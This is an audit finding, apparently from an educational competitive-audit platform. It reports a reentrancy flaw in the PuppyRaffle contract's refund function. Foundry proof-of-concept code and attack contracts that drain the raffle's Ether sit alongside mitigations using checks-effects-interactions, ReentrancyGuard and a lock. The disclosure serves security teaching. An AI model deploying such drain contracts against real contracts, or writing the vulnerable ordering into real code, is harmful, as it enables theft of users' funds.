Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

PuppyRaffle::refund performs an external call before updating the state, making it vulnerable to a reentrancy attack

PuppyRaffle::refund performs an external call before updating the state, making it vulnerable to a reentrancy attack

Description: PuppyRaffle::refund does not respect the CEI pattern. The low-level call inside payable(msg.sender).sendValue(entranceFee) is executed before the player is removed from players array. This hands control to the attack contract creating the possibility to a reentrancy attack which allows the attacker to drain all the funds.

// @audit Reentrancy attack
@> payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

Impact: This creates an opportunity for a malicious user to drain all the funds held by the contract through a cyclic reentrancy attack until the contract is empty.

Proof of Concept: In the following test, a PuppyRaffle contract starts with four legitimate users who entered the raffle. The test adds a malicious contract which enters the raffle through attackContract.startAttack();.
This malicious contract enters the raffle and fires a refund triggering the low-level call in PuppyRaffle::refund. That hands control over to ReentrancyContract::receive firing the reentrancy and emptying the PuppyRaffle contract in the process.

In this case we get as outputs:

=== INITIAL STATE ===
Initial attacker balance : 1000000000000000000
Initial victim balance : 4000000000000000000
=== FINAL STATE ===
Final attacker balance : 5000000000000000000
Final victim balance : 0
Reentrancy was successful!

The contract is fully drained.

PoC

Place the following test into PuppyRaffle.t.sol.

function test_reentrancyRefund() public playersEntered {
ReentrancyContract attackContract = new ReentrancyContract(puppyRaffle);
vm.deal(address(attackContract), 1 ether);
uint256 initialAttackerBalance = address(attackContract).balance;
uint256 initialVictimBalance = address(puppyRaffle).balance;
console2.log("=== INITIAL STATE ===");
console2.log("Initial attacker balance : ", initialAttackerBalance);
console2.log("Initial victim balance : ", initialVictimBalance);
attackContract.startAttack();
uint256 finalAttackerBalance = address(attackContract).balance;
uint256 finalVictimBalance = address(puppyRaffle).balance;
console2.log("=== FINAL STATE ===");
console2.log("Final attacker balance : ", finalAttackerBalance);
console2.log("Final victim balance : ", finalVictimBalance);
if(initialAttackerBalance < finalAttackerBalance) {
console2.log("Reentrancy was successful!");
} else {
console2.log("Reentrancy failed");
}
}
}
// This goes outside the PuppyRaffleTest contract
contract ReentrancyContract {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
function startAttack() external {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
receive() external payable {
if(address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}

Recommended Mitigation: There is a main recommendations:

  1. Consider following the CEI pattern, which updates state before the external call, removing any reentrancy possibility. Example:

function refund(uint256 playerIndex) public {
+ // Checks
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
+ // Effects
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ // Interactions
+ payable(msg.sender).sendValue(entranceFee);
}
  1. Consider using a battle-tested library such as ReentrancyGuard from OpenZeppelin. Example:

...
import {Base64} from "lib/base64/base64.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
...
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
...
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
  1. Consider adding a new lock variable, like a bool, which locks the entrance at the start of the function and unlocks it at the end. Example:

...
address public previousWinner;
+ bool public locked;
...
function refund(uint256 playerIndex) public {
+ if (locked) revert();
+ locked = true;
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ locked = false;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!